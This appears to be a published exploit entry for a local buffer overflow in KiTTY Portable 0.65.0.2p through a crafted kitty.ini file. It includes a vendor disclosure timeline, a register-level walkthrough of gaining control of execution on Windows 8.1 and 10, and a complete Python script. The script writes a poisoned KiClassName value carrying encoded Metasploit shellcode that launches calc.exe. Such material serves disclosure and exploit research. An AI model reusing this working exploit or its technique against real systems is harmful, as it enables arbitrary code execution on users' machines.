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# Exploit Title: KiTTY Portable <= 0.65.0.2p Local kitty.ini Overflow (Win8.1/Win10) # Date: 28/12/2015 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: http://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: http://www.9bis.net/kitty/ # Software Link: http://sourceforge.net/projects/portableapps/files/KiTTY%20Portable/KiTTYPortable_0.65.0.2_English.paf.exe # Version: 0.65.0.2p # Tested on: Windows 8.1 Pro x64 (FR), Windows 10 Pro x64 (FR) # Category: Local """ Disclosure Timeline: -------------------- 2015-09-18: Vulnerability discovered 2015-09-26: Vendor contacted 2015-09-28: Vendor answer 2015-10-09: KiTTY 0.65.0.3p released : unintentionally (vendor said) preventing exploit from working, without fixing the core vulnerability 2015-10-20: KiTTY 0.65.1.1p released, vendor fix, but app can still be crashed using same vulnerability on another kitty.ini parameter 2015-11-15: KiTTY 0.66.6.1p released, seems fixed 2015-12-28: exploit published Description : ------------- A local overflow exists in kitty.ini file used by KiTTY portable. By writing a 1048 bytes string into the kitty.ini file, an overflow occurs that makes Kitty crashing. At time of the crash, EIP is overwritten at offset 1036. As all DLLs are ALSR and DEP protected, and rebased, we can only use kitty_portable.exe addresses, which start with a NULL. Successful exploitation will allow to execute local executables on Windows 8.1 and Windows 10. Win8.1 -> Code Execution Win10-> Code Execution Instructions: ------------- - Run exploit - Launch KiTTY Exploitation: ------------- As EDX register points to our buffer, it seems like using a return address pointing to a JMP EDX instruction would do the trick. However this is not the case, because of the address containing a NULL byte, our 1048 bytes buffer is truncated to 1039 bytes, and an access violation occurs before EIP could be overwritten: EAX = 00000041 00533DA2 0000 ADD BYTE PTR DS:[EAX],AL <---- Access violation when writing to [EAX] 00533DA4 00 DB 00 Increasing our initial buffer by 4 bytes (1052 bytes) gives us another crash, but neither EIP nor SEH are overwritten. We end up with another memory access violation, which although looking like a deadend, is in fact exploitable: ECX and EBX points to our buffer EDX and EDI are overwritten by our buffer EDI = 41414141 764F8DD2 8917 MOV DWORD PTR DS:[EDI],EDX <---- Access violation when writing to [EDI] Although we do not have control over the execution flow (EIP), we have at least control of the value written to EDI at offset 1048. We can write a valid memory address into EDI, allowing the program to continue its execution. One such address is the address ESP points to on the stack: 0x0028C4F8. Let's take a closer look to the code executed: 764F8DB8 BA FFFEFE7EMOV EDX,7EFEFEFF <-------- (3) JMP back here 764F8DBD 8B01 MOV EAX,DWORD PTR DS:[ECX] 764F8DBF 03D0 ADD EDX,EAX 764F8DC1 83F0 FFXOR EAX,FFFFFFFF 764F8DC4 33C2 XOR EAX,EDX 764F8DC6 8B11 MOV EDX,DWORD PTR DS:[ECX] 764F8DC8 83C1 04ADD ECX,4 764F8DCB A9 00010181TEST EAX,81010100 764F8DD0 75 07JNZ SHORT msvcrt.764F8DD9 764F8DD2 8917 MOV DWORD PTR DS:[EDI],EDX<------- (1) We start HERE 764F8DD4 83C7 04ADD EDI,4 764F8DD7 EB DFJMP SHORT msvcrt.764F8DB8 <------- (2) jump back above 1) Value from EDX is copied to the stack where EDI points to, then EDI is incremented and points to next address 2) The execution jumps back at the beginning of the code block, overwrites our source register EDX with 7EFEFEFF, overwrites EAX with 41414141 (ECX point to our buffer), restore EDX with 41414141, increment ECX pointing to our buffer by 4, pointing to our next buffer value, and starting all over again. Also there is a very interesting instruction following this code: 764F8DD2 8917 MOV DWORD PTR DS:[EDI],EDX<------- We are HERE 764F8DD4 83C7 04ADD EDI,4 764F8DD7 EB DFJMP SHORT msvcrt.764F8DB8 764F8DD9 84D2 TEST DL,DL 764F8DDB 74 32JE SHORT msvcrt.764F8E0F 764F8DDD 84F6 TEST DH,DH 764F8DDF 74 15JE SHORT msvcrt.764F8DF6 764F8DE1 F7C2 0000FF00TEST EDX,0FF0000 764F8DE7 75 16JNZ SHORT msvcrt.764F8DFF 764F8DE9 66:8917MOV WORD PTR DS:[EDI],DX 764F8DEC 8B4424 08MOV EAX,DWORD PTR SS:[ESP+8] 764F8DF0 C647 02 00 MOV BYTE PTR DS:[EDI+2],0 764F8DF4 5F POP EDI 764F8DF5 C3 RETN <------- We want that! This code block happily copies our entire buffer chunk by chunk to the stack, and is later followed by a RET instruction. If there could be a way to copy our buffer on the stack and make ESP pointing to a predictable part or our buffer, the RET would give us the control of the execution flow. When the copy operation is finished, the code crashes again and this time EIP is overwritten with 41414141, and ESP has the address 0x0028C500 pointing toward the near begining of our buffer (offset 8). The RET has been reached, wonderful :-) However, we cannot write a usable address here to jump somewhere else as a NULL byte would truncate our entire buffer and no crash would occur... The goal here would be to find the correct address to put into EDI so that ESP will point to the end of our buffer, where we will be able to use another address, containing a NULL, to jump somewhere else and take back control of the execution flow. However our buffer is already terminated by a NULL byte address for EDI. 1) We cannot make ESP points anywhere in the middle of our buffer, as we can only use addresses containing a NULL 2) We cannot add another valid NULL containing address at the end of our buffer, as a stack address containing a NULL is there for EDI 3) EDI contains an address already pointing to the start of our buffer, thanks to the copy operation, our only chance is to try to make ESP pointing to it when the crash happens. After testing by incrementing or decrementing EDI address value, it appears ESP always point to 0x0028C500 at time of the crash. This means we can calculate the correct offset to align EDI address with ESP, just before the RET happens to make EIP following that address. The EDI address to achieve that is: (EIP)0x0028C500 - (buffer length)1052 = 0x0028C0E4. As our buffer is copied onto a NULLs filled zone, we can omit the NULL byte and set EDI to '\xE4\xC0\x28'. To sume it up: 1) First crash with EIP overwritten seems not exploitable 2) Second crash does not have EIP nor SEH overwritten (memory access violation), we only have "control" over some registers 3) Tweaking values of EDX and EDI, makes the program continue execution and copying our buffer onto the stack 4) The RET instruction is reached and execution crashes again 5) We find an EDI address value which is valid for a) copying our buffer on stack, b) is aligning itself with ESP at the correct offset and c) will appear on the stack and be used by the RET instruction, giving us finally control over the execution flow. That is like being forbidden to enter a building, but we give two bags (EDI + EDX) to someone authorized who enters the building, who do all the work for us inside, and goes out back to us with the vault key (EIP). """ import sys if len(sys.argv) == 1: print "\nUsage: kitty_ini_8_10.py <win8.1|win10>" print "Example: kitty_ini_8_10.py win8.1" sys.exit() os = sys.argv[1] # Windows version to target # Metasploit WinExec shellcode (calc.exe) # Encoder: x86/alpha_mixed # Bad chars: \x00\x0a\x0d\x21\x11\x1a\x01\x31 # Size: 448 bytes shellcode = ( "\x89\xe6\xdd\xc7\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x69\x6c\x39\x78\x6f\x72\x57\x70\x77\x70\x65\x50\x55\x30\x6c" "\x49\x39\x75\x66\x51\x4f\x30\x65\x34\x4e\x6b\x70\x50\x56\x50" "\x4c\x4b\x70\x52\x36\x6c\x6e\x6b\x50\x52\x76\x74\x4c\x4b\x74" "\x32\x64\x68\x76\x6f\x48\x37\x50\x4a\x77\x56\x55\x61\x69\x6f" "\x6c\x6c\x45\x6c\x33\x51\x33\x4c\x35\x52\x34\x6c\x61\x30\x6b" "\x71\x38\x4f\x34\x4d\x76\x61\x5a\x67\x4b\x52\x38\x72\x63\x62" "\x52\x77\x4e\x6b\x76\x32\x46\x70\x4e\x6b\x32\x6a\x47\x4c\x4e" "\x6b\x50\x4c\x54\x51\x52\x58\x38\x63\x70\x48\x35\x51\x58\x51" "\x30\x51\x6c\x4b\x61\x49\x57\x50\x37\x71\x5a\x73\x6c\x4b\x30" "\x49\x56\x78\x39\x73\x66\x5a\x52\x69\x6c\x4b\x57\x44\x6e\x6b" "\x57\x71\x6b\x66\x34\x71\x4b\x4f\x6e\x4c\x59\x51\x48\x4f\x64" "\x4d\x67\x71\x58\x47\x75\x68\x6b\x50\x72\x55\x68\x76\x74\x43" "\x43\x4d\x6c\x38\x45\x6b\x73\x4d\x61\x34\x44\x35\x4d\x34\x51" "\x48\x4e\x6b\x71\x48\x34\x64\x76\x61\x39\x43\x35\x36\x4e\x6b" "\x74\x4c\x62\x6b\x4e\x6b\x50\x58\x67\x6c\x47\x71\x4b\x63\x6e" "\x6b\x65\x54\x6c\x4b\x76\x61\x38\x50\x4c\x49\x37\x34\x75\x74" "\x37\x54\x73\x6b\x63\x6b\x71\x71\x53\x69\x52\x7a\x43\x61\x79" "\x6f\x59\x70\x51\x4f\x61\x4f\x32\x7a\x4c\x4b\x42\x32\x58\x6b" "\x4e\x6d\x61\x4d\x43\x5a\x36\x61\x6c\x4d\x4d\x55\x6c\x72\x47" "\x70\x67\x70\x77\x70\x42\x70\x32\x48\x45\x61\x4e\x6b\x70\x6f" "\x6e\x67\x4b\x4f\x59\x45\x4f\x4b\x4a\x50\x6e\x55\x39\x32\x30" "\x56\x30\x68\x4c\x66\x4c\x55\x6f\x4d\x4d\x4d\x49\x6f\x4e\x35" "\x55\x6c\x74\x46\x33\x4c\x64\x4a\x6b\x30\x6b\x4b\x4d\x30\x42" "\x55\x47\x75\x6f\x4b\x70\x47\x67\x63\x30\x72\x30\x6f\x53\x5a" "\x43\x30\x63\x63\x4b\x4f\x38\x55\x32\x43\x61\x71\x50\x6c\x42" "\x43\x34\x6e\x33\x55\x44\x38\x43\x55\x33\x30\x41\x41" ) # Stack address where to copy our shellcode, with an offset of ESP - 1052 if os == "win8.1": edi = '\xD4\xC0\x28' # 0x0028C0D4 WIN8.1 Pro x64 elif os == "win10": edi = '\xD4\xC0\x29' # 0x0029C0D4 WIN10 Pro x64 else: print "Unknown OS chosen. Please choose 'win8.1' or 'win10'." sys.exit() nops = '\x90' * 8 padding = '\x41' * (1048 - len(nops) - len(shellcode)) payload = nops + shellcode + padding + edi # Kitty.ini configuration file buffer ="[ConfigBox]\n" buffer +="height=22\n" buffer +="filter=yes\n" buffer +="#default=yes\n" buffer +="#noexit=no\n" buffer +="[KiTTY]\n" buffer +="backgroundimage=no\n" buffer +="capslock=no\n" buffer +="conf=yes\n" buffer +="cygterm=yes\n" buffer +="icon=no\n" buffer +="#iconfile=\n" buffer +="#numberoficons=45\n" buffer +="paste=no\n" buffer +="print=yes\n" buffer +="scriptfilefilter=\n" buffer +="size=no\n" buffer +="shortcuts=yes\n" buffer +="mouseshortcuts=yes\n" buffer +="hyperlink=no\n" buffer +="transparency=no\n" buffer +="#configdir=\n" buffer +="#downloaddir=\n" buffer +="#uploaddir=\n" buffer +="remotedir=\n" buffer +="#PSCPPath=\n" buffer +="#PlinkPath=\n" buffer +="#WinSCPPath=\n" buffer +="#CtHelperPath=\n" buffer +="#antiidle== \k08\\\n" buffer +="#antiidledelay=60\n" buffer +="sshversion=\n" buffer +="#WinSCPProtocol=sftp\n" buffer +="#autostoresshkey=no\n" buffer +="#UserPassSSHNoSave=no\n" buffer +="KiClassName=" + payload + "\n" buffer +="#ReconnectDelay=5\n" buffer +="savemode=dir\n" buffer +="bcdelay=0\n" buffer +="commanddelay=5\n" buffer +="initdelay=2.0\n" buffer +="internaldelay=10\n" buffer +="slidedelay=0\n" buffer +="wintitle=yes\n" buffer +="zmodem=yes\n" buffer +="[Print]\n" buffer +="height=100\n" buffer +="maxline=60\n" buffer +="maxchar=85\n" buffer +="[Folder]\n" buffer +="[Launcher]\n" buffer +="reload=yes\n" buffer +="[Shortcuts]\n" buffer +="print={SHIFT}{F7}\n" buffer +="printall={F7}\n" # Kitty.ini file location (modify according to your installation path) file = "C:\\kitty\\App\\KiTTY\\kitty.ini" try: print "[*] Writing to %s (%s bytes)" % (file, len(buffer)) f = open(file,'w') f.write(buffer) f.close() print "[*] Done!" except: print "[-] Error writing %s" % file |
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